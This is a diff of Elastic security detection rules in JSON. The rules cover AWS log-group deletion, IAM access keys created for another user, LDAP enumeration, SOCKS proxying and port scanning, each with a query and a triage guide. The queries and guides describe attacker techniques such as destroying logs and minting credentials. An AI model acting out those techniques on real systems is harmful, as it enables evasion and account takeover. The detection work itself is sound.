"event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "67f8443a-4ff3-4a70-916d-3cfa3ae9f02b", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Impact", - "Resources: Investigation Guide", - "Data Source: Elastic Endgame", - "Data Source: Elastic Defend", - "Data Source: Auditd Manager" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0040", - "name": "Impact", - "reference": "https://attack.mitre.org/tactics/TA0040/" - }, - "technique": [ - { - "id": "T1489", - "name": "Service Stop", - "reference": "https://attack.mitre.org/techniques/T1489/" - } - ] - } - ], - "threshold": { - "field": [ - "host.id", - "process.executable", - "user.name" - ], - "value": 10 - }, - "timestamp_override": "event.ingested", - "type": "threshold", - "version": 112 - }, - "id": "67f8443a-4ff3-4a70-916d-3cfa3ae9f02b_112", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/68a7a5a5-a2fc-4a76-ba9f-26849de881b4_212.json b/packages/security_detection_engine/kibana/security_rule/68a7a5a5-a2fc-4a76-ba9f-26849de881b4_212.json new file mode 100644 index 00000000000..d70758adb22 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/68a7a5a5-a2fc-4a76-ba9f-26849de881b4_212.json @@ -0,0 +1,138 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects the deletion of an Amazon CloudWatch Log Group using the \"DeleteLogGroup\" API. CloudWatch log groups store operational and security logs for AWS services and custom applications. Deleting a log group permanently removes all associated log streams and historical log data, which can eliminate forensic evidence and disrupt security monitoring pipelines. Adversaries may delete log groups to conceal malicious activity, disable log forwarding, or impede incident response.", + "false_positives": [ + "CloudWatch log group deletions may occur during normal maintenance or infrastructure re-deployments, especially in environments managed by IaC tools (e.g., Terraform, CloudFormation, CDK). Automation pipelines may recreate log groups as part of expected workflows. Verify that the identity, user agent, and source IP match approved administrative or automation activity. If deletions are routine for specific automation roles or CI/CD hosts, consider adding scoped exceptions." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "target.entity.id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS CloudWatch Log Group Deletion", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. \n> While every effort has been made to ensure its quality, validate and adapt it to your operational context.\n\n### Investigating AWS CloudWatch Log Group Deletion\n\nCloudWatch Logs is foundational to AWS observability, SIEM ingestion, audit pipelines, and incident response. \nLog groups often contain retention-critical logs such as:\n\n- VPC Flow Logs \n- Lambda function logs \n- Application and container logs \n- Security service logs (e.g., AWS WAF, RDS logs)\n\nDeletion of a log group removes all historical log streams and cannot be reversed. \nAdversaries may leverage `DeleteLogGroup` to impair forensic visibility, disrupt monitoring, and hide evidence following malicious actions. This rule detects a successful `DeleteLogGroup` event initiated from a non\u2013AWS Internal user agent, signalling potential defense evasion or disruption of logging pipelines.\n\n#### Possible investigation steps\n\n **Identify the actor**\n- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. \n- Determine whether this identity normally modifies CloudWatch Logs or is associated with automation.\n\n**Review deletion details**\n- Inspect `aws.cloudtrail.request_parameters` or `target.entity.id` to determine the exact log group deleted. \n- Assess whether the log group provided visibility into:\n - CloudTrail processing, \n - Network flows (VPC Flow Logs), \n - Serverless/application security logs, \n - Lambda, ECS, EKS, or container workload logs.\n\n**Check source and context**\n- Assess `source.ip` for unusual IPs, geolocations, VPN endpoints, or cloud provider ranges unfamiliar to your environment. \n- Review `user_agent.original` for unexpected tools (custom agents, unusual SDKs, attackers using CLI default agents).\n\n**Correlate with surrounding activity**\nLook for preceding or subsequent CloudTrail events such as:\n\n- `StopLogging`, `DeleteTrail`, or CloudTrail configuration changes \n- IAM permission escalations (e.g., `PutUserPolicy`, `AttachRolePolicy`) \n- Security service suppression actions (e.g., GuardDuty detector deletion) \n- Lambda or application configuration updates that may indicate a compromise \n\nIf the deleted log group was associated with a Lambda execution role, review for suspicious code updates or rogue deployments.\n\n**Assess business or security impact**\n- Identify whether the deleted log group fed:\n - SIEM ingestion \n - Security analytics pipelines \n - Compliance/audit logs \n - Operational monitoring or alerting \n- Contact the service owner or development team to verify whether the deletion was intentional.\n\n**Determine compromise scope if malicious**\n- Use CloudTrail to identify prior activity by the same user identity or IP. \n- Examine authentication events (IAM, STS) for signs of stolen credentials or session hijacking. \n- Identify resources or applications dependent on the deleted logging pipeline.\n\n### False positive analysis\n\n- **IaC-managed environments**: Tools like Terraform or CloudFormation may delete and recreate log groups during deployments. \n- **Automated cleanup jobs**: Some environments use automated retention cleanup workflows. \n- **Ephemeral testing accounts**: Development/testing accounts frequently create and destroy log groups.\n\nTo tune noise:\n- Add exceptions for specific automation IAM roles or trusted source IPs.\n- Require `user_agent.original` and `source.ip` conditions for baseline-based tuning.\n\n### Response and remediation\n\n**Containment**\n- Immediately recreate the deleted log group (if appropriate) using IaC or CloudWatch Console. \n- Restrict the IAM identity that performed the deletion until the activity is validated. \n- Enable or confirm CloudTrail logging in all regions to maintain broader visibility.\n\n**Investigation**\n- Review CloudTrail activity for:\n - privilege escalation attempts, \n - IAM role modifications, \n - security service tampering (CloudTrail, Config, GuardDuty). \n- Correlate with alerts from other services (GuardDuty, Security Hub, SIEM detections).\n\n**Recovery and hardening**\n- Enforce least privilege on `logs:DeleteLogGroup`. \n- Configure AWS Config rules to alert on missing or modified log groups. \n- Implement log group retention policies and IAM SCP guardrails to prevent unauthorized deletion. \n- Document log group ownership and expected lifecycle management.\n\n### Additional information\n\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "event.dataset: \"aws.cloudtrail\" \n and event.provider: \"logs.amazonaws.com\" \n and event.action: \"DeleteLogGroup\" \n and event.outcome: \"success\"\n and source.ip: * \n and not user_agent.original : \"AWS Internal\"\n", + "references": [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-group.html", + "https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogGroup.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "user_agent.original", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "68a7a5a5-a2fc-4a76-ba9f-26849de881b4", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: Amazon CloudWatch", + "Use Case: Log Auditing", + "Resources: Investigation Guide", + "Tactic: Defense Evasion", + "Tactic: Impact" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1485", + "name": "Data Destruction", + "reference": "https://attack.mitre.org/techniques/T1485/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.001", + "name": "Disable or Modify Tools", + "reference": "https://attack.mitre.org/techniques/T1562/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 212 + }, + "id": "68a7a5a5-a2fc-4a76-ba9f-26849de881b4_212", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/68ad737b-f90a-4fe5-bda6-a68fa460044e_108.json b/packages/security_detection_engine/kibana/security_rule/68ad737b-f90a-4fe5-bda6-a68fa460044e_108.json new file mode 100644 index 00000000000..aa046abebd5 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/68ad737b-f90a-4fe5-bda6-a68fa460044e_108.json @@ -0,0 +1,92 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identify read access to a high number of Active Directory object attributes. The knowledge of objects properties can help adversaries find vulnerabilities, elevate privileges or collect sensitive information.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Suspicious Access to LDAP Attributes", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Suspicious Access to LDAP Attributes\n\nLDAP (Lightweight Directory Access Protocol) is crucial for querying and modifying directory services like Active Directory, which stores user credentials and permissions. Adversaries exploit LDAP to enumerate directory attributes, seeking vulnerabilities or sensitive data. The detection rule identifies unusual read access patterns, such as excessive attribute queries, which may indicate reconnaissance or privilege escalation attempts.\n\n### Possible investigation steps\n\n- Review the event logs for the specific event code 4662 to gather details about the suspicious read access, focusing on the winlog.event_data.Properties field to understand which attributes were accessed.\n- Identify the user associated with the suspicious activity by examining the winlog.event_data.SubjectUserSid field, and determine if this user has a legitimate reason to access a high number of Active Directory object attributes.\n- Check the user's recent activity and login history to identify any unusual patterns or anomalies that could indicate compromised credentials or unauthorized access.\n- Investigate the source machine from which the LDAP queries originated to determine if it is a known and trusted device or if it shows signs of compromise or unauthorized use.\n- Correlate this event with other security alerts or logs to identify if this activity is part of a larger pattern of reconnaissance or privilege escalation attempts within the network.\n\n### False positive analysis\n\n- Regular system maintenance or updates may trigger high attribute read access. Exclude known maintenance accounts from the rule to prevent false alerts.\n- Automated scripts or applications that query Active Directory for legitimate purposes can cause excessive attribute reads. Identify and whitelist these scripts or applications to reduce noise.\n- Security audits or compliance checks often involve extensive directory queries. Coordinate with IT and security teams to recognize these activities and adjust the rule to exclude them.\n- Service accounts with legitimate high-volume access patterns should be reviewed and, if deemed non-threatening, added to an exception list to avoid unnecessary alerts.\n- Consider the context of the access, such as time of day or associated user activity, to differentiate between normal and suspicious behavior. Adjust the rule to account for these patterns where applicable.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.\n- Conduct a thorough review of the user account associated with the suspicious LDAP access to determine if it has been compromised. Reset the account credentials and enforce multi-factor authentication.\n- Analyze the event logs to identify any other systems or accounts that may have been accessed using similar methods, and apply the same containment measures.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach.\n- Implement additional monitoring on LDAP queries and Active Directory access to detect similar patterns of excessive attribute queries in the future.\n- Review and tighten access controls and permissions within Active Directory to ensure that only necessary attributes are accessible to users based on their roles.\n- Conduct a post-incident review to identify any gaps in security controls and update policies or procedures to prevent recurrence of similar threats.", + "query": "any where host.os.type == \"windows\" and event.code == \"4662\" and not winlog.event_data.SubjectUserSid : \"S-1-5-18\" and\n winlog.event_data.AccessMaskDescription == \"Read Property\" and length(winlog.event_data.Properties) >= 2000\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + }, + { + "package": "system", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AccessMaskDescription", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.Properties", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectUserSid", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "68ad737b-f90a-4fe5-bda6-a68fa460044e", + "setup": "The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).\nSteps to implement the logging policy with Advanced Audit Configuration:\n\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nDS Access >\nAudit Directory Service Changes (Success,Failure)\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Data Source: Windows Security Event Logs", + "Data Source: Active Directory", + "Data Source: Windows", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1069", + "name": "Permission Groups Discovery", + "reference": "https://attack.mitre.org/techniques/T1069/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 108 + }, + "id": "68ad737b-f90a-4fe5-bda6-a68fa460044e_108", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6926b708-7964-425f-bed8-6e006379df08_1.json b/packages/security_detection_engine/kibana/security_rule/6926b708-7964-425f-bed8-6e006379df08_1.json new file mode 100644 index 00000000000..7c9ee292833 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/6926b708-7964-425f-bed8-6e006379df08_1.json @@ -0,0 +1,105 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This detection correlates FortiGate's application control SOCKS events with Elastic Defend network event to identify the source process performing SOCKS traffic. Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.network-*", + "logs-fortinet_fortigate.log-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "SOCKS Traffic from an Unusual Process", + "note": "## Triage and analysis\n\n### Investigating SOCKS Traffic from an Unusual Process\n\n### Possible investigation steps\n\n- Review the process details like command_line, privileges, global relevance and reputation.\n- Review the parent process execution details like command_line, global relevance and reputation.\n- Examine all network connection details performed by the process during last 48h.\n- Examine all localhost network connections performed by the same process to verify if there is any port forwarding with another process on the same machine.\n- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity.\n\n### False positive analysis\n\n- Browser proxy extensions and Add-ons.\n- Development and deployment tools.\n- Third party trusted tools using SOCKS for network communication.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.\n- Terminate the suspicious processes and all associated children and parents.\n- Conduct a thorough review of the system's configuration files to identify unauthorized changes.\n- Reset credentials for any accounts associated with the source machine.\n- Implement network-level controls to block traffic via SOCKS unless authorized.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.\n", + "query": "sequence by source.port, source.ip, destination.ip with maxspan=1m\n [network where event.dataset == \"fortinet_fortigate.log\" and event.action == \"signature\" and network.application in (\"SOCKS4\", \"SOCKS5\")]\n [network where event.module == \"endpoint\" and event.action in (\"disconnect_received\", \"connection_attempted\")]\n", + "references": [ + "https://attack.mitre.org/techniques/T1090/", + "https://www.elastic.co/docs/reference/integrations/fortinet_fortigate", + "https://www.elastic.co/docs/reference/integrations/endpoint" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "fortinet_fortigate", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "destination.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.module", + "type": "keyword" + }, + { + "ecs": true, + "name": "network.application", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "source.port", + "type": "long" + } + ], + "risk_score": 47, + "rule_id": "6926b708-7964-425f-bed8-6e006379df08", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "OS: Windows", + "OS: macOS", + "Use Case: Threat Detection", + "Tactic: Command and Control", + "Data Source: Elastic Defend", + "Data Source: Fortinet", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1090", + "name": "Proxy", + "reference": "https://attack.mitre.org/techniques/T1090/" + } + ] + } + ], + "type": "eql", + "version": 1 + }, + "id": "6926b708-7964-425f-bed8-6e006379df08_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/696015ef-718e-40ff-ac4a-cc2ba88dbeeb_6.json b/packages/security_detection_engine/kibana/security_rule/696015ef-718e-40ff-ac4a-cc2ba88dbeeb_6.json deleted file mode 100644 index aa5ae075940..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/696015ef-718e-40ff-ac4a-cc2ba88dbeeb_6.json +++ /dev/null @@ -1,104 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user.", - "false_positives": [ - "While this can be normal behavior, it should be investigated to ensure validity. Verify whether the user identity should be using the IAM `CreateAccessKey` for the targeted user." - ], - "from": "now-6m", - "investigation_fields": { - "field_names": [ - "@timestamp", - "user.name", - "source.address", - "aws.cloudtrail.user_identity.arn", - "aws.cloudtrail.user_identity.type", - "user_agent.original", - "user.target.name", - "event.action", - "event.outcome", - "cloud.region", - "event.provider", - "aws.cloudtrail.request_parameters", - "aws.cloudtrail.response_elements" - ] - }, - "language": "esql", - "license": "Elastic License v2", - "name": "AWS IAM User Created Access Keys For Another User", - "note": "## Triage and analysis\n\n### Investigating AWS IAM User Created Access Keys For Another User\n\nAWS access keys created for IAM users or root user are long-term credentials that provide programmatic access to AWS.\nWith access to the `iam:CreateAccessKey` permission, a set of compromised credentials could be used to create a new\nset of credentials for another user for privilege escalation or as a means of persistence. This rule uses [ES|QL](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-esql-rule)\nto look for use of the `CreateAccessKey` operation where the user.name is different from the user.target.name.\n\n\n#### Possible investigation steps\n\n- Identify both related accounts and their role in the environment.\n- Review IAM permission policies for the user identities.\n- Identify the applications or users that should use these accounts.\n- Investigate other alerts associated with the accounts during the past 48 hours.\n- Investigate abnormal values in the `user_agent.original` field by comparing them with the intended and authorized usage and historical data. Suspicious user agent values include non-SDK, AWS CLI, custom user agents, etc.\n- Contact the account owners and confirm whether they are aware of this activity.\n- Considering the source IP address and geolocation of the user who issued the command:\n - Do they look normal for the calling user?\n - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?\n - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.\n - Determine what other API calls were made by the user.\n - Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users.\n\n### False positive analysis\n\n- False positives may occur due to the intended usage of the IAM `CreateAccessKey` operation. Verify the `aws.cloudtrail.user_identity.arn` should use this operation against the `user.target.name` account.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n - Rotate user credentials\n - Remove the newly created credentials from the affected user(s)\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Assess the criticality of affected services and servers.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified.\n - Rotate secrets or delete API keys as needed to revoke the attacker's access to the environment.\n - Work with your IT teams to minimize the impact on business operations during these actions.\n- Remove unauthorized new accounts, and request password resets for other IAM users.\n- Consider enabling multi-factor authentication for users.\n- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.\n- Implement security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS.\n- Take the actions needed to return affected systems, data, or services to their normal operational levels.\n- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws.cloudtrail-* metadata _id, _version, _index\n| where event.provider == \"iam.amazonaws.com\"\n and event.action == \"CreateAccessKey\"\n and event.outcome == \"success\"\n and user.name != user.target.name\n| keep\n @timestamp,\n cloud.region,\n event.provider,\n event.action,\n event.outcome,\n user.name,\n source.address,\n user.target.name,\n user_agent.original,\n aws.cloudtrail.request_parameters,\n aws.cloudtrail.response_elements,\n aws.cloudtrail.user_identity.arn,\n aws.cloudtrail.user_identity.type\n", - "references": [ - "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey", - "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence", - "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud", - "https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html" - ], - "risk_score": 47, - "rule_id": "696015ef-718e-40ff-ac4a-cc2ba88dbeeb", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS IAM", - "Use Case: Identity and Access Audit", - "Tactic: Privilege Escalation", - "Tactic: Persistence", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1098", - "name": "Account Manipulation", - "reference": "https://attack.mitre.org/techniques/T1098/", - "subtechnique": [ - { - "id": "T1098.001", - "name": "Additional Cloud Credentials", - "reference": "https://attack.mitre.org/techniques/T1098/001/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1098", - "name": "Account Manipulation", - "reference": "https://attack.mitre.org/techniques/T1098/", - "subtechnique": [ - { - "id": "T1098.001", - "name": "Additional Cloud Credentials", - "reference": "https://attack.mitre.org/techniques/T1098/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 6 - }, - "id": "696015ef-718e-40ff-ac4a-cc2ba88dbeeb_6", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6b341d03-1d63-41ac-841a-2009c86959ca_5.json b/packages/security_detection_engine/kibana/security_rule/6b341d03-1d63-41ac-841a-2009c86959ca_5.json deleted file mode 100644 index 059c1b8ee08..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/6b341d03-1d63-41ac-841a-2009c86959ca_5.json +++ /dev/null @@ -1,55 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects potential port scanning activity from a compromised host. Port scanning is a common reconnaissance technique used by attackers to identify open ports and services on a target system. A compromised host may exhibit port scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable services, or prepare for further exploitation. This rule identifies potential port scanning activity by monitoring network connection attempts from a single host to a large number of ports within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", - "from": "now-61m", - "interval": "1h", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential Port Scanning Activity from Compromised Host", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Port Scanning Activity from Compromised Host\n\nPort scanning is a reconnaissance method used by attackers to identify open ports and services on a network, often as a precursor to exploitation. In Linux environments, compromised hosts may perform rapid connection attempts to numerous ports, signaling potential scanning activity. The detection rule identifies such behavior by analyzing network logs for a high number of distinct port connections from a single host within a short timeframe, indicating possible malicious intent.\n\n### Possible investigation steps\n\n- Review the network logs to identify the specific host exhibiting the port scanning behavior by examining the destination.ip and process.executable fields.\n- Analyze the @timestamp field to determine the exact time frame of the scanning activity and correlate it with any other suspicious activities or alerts from the same host.\n- Investigate the process.executable field to understand which application or service initiated the connection attempts, and verify if it is a legitimate process or potentially malicious.\n- Check the destination.port field to identify the range and types of ports targeted by the scanning activity, which may provide insights into the attacker's objectives or the services they are interested in.\n- Assess the host's security posture by reviewing recent changes, installed software, and user activity to determine if the host has been compromised or if the scanning is part of legitimate network operations.\n- Consult the original documents and logs for additional context and details that may not be captured in the alert to aid in a comprehensive investigation.\n\n### False positive analysis\n\n- Legitimate network scanning tools used by system administrators for network maintenance or security assessments can trigger this rule. To handle this, identify and whitelist the IP addresses or processes associated with these tools.\n- Automated vulnerability scanners or monitoring systems that perform regular checks on network services may cause false positives. Exclude these systems by creating exceptions for their known IP addresses or process names.\n- High-volume legitimate services that open multiple connections to different ports, such as load balancers or proxy servers, might be flagged. Review and exclude these services by specifying their IP addresses or process executables.\n- Development or testing environments where frequent port scanning is part of routine operations can be mistakenly identified. Implement exceptions for these environments by excluding their specific network segments or host identifiers.\n- Scheduled network discovery tasks that are part of IT operations can mimic port scanning behavior. Document and exclude these tasks by setting up time-based exceptions or identifying their unique process signatures.\n\n### Response and remediation\n\n- Isolate the compromised host from the network immediately to prevent further scanning and potential lateral movement.\n- Terminate any suspicious processes identified by the process.executable field to halt ongoing malicious activities.\n- Conduct a thorough review of the compromised host's system logs and network traffic to identify any unauthorized access or data exfiltration attempts.\n- Patch and update all software and services on the compromised host to close any vulnerabilities that may have been exploited.\n- Change all credentials associated with the compromised host and any potentially affected systems to prevent unauthorized access.\n- Monitor the network for any further signs of scanning activity or other suspicious behavior from other hosts, indicating potential additional compromises.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected.\n", - "query": "from logs-endpoint.events.network-*\n| where\n @timestamp > now() - 1h and\n host.os.type == \"linux\" and\n event.type == \"start\" and\n event.action == \"connection_attempted\"\n| keep\n @timestamp,\n host.os.type,\n event.type,\n event.action,\n destination.port,\n process.executable,\n destination.ip,\n agent.id,\n host.name\n| stats\n Esql.event_count = count(),\n Esql.destination_port_count_distinct = count_distinct(destination.port),\n Esql.agent_id_count_distinct = count_distinct(agent.id),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id)\n by process.executable, destination.ip\n| where\n Esql.agent_id_count_distinct == 1 and\n Esql.destination_port_count_distinct > 100\n| sort Esql.event_count asc\n| limit 100\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "risk_score": 21, - "rule_id": "6b341d03-1d63-41ac-841a-2009c86959ca", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic 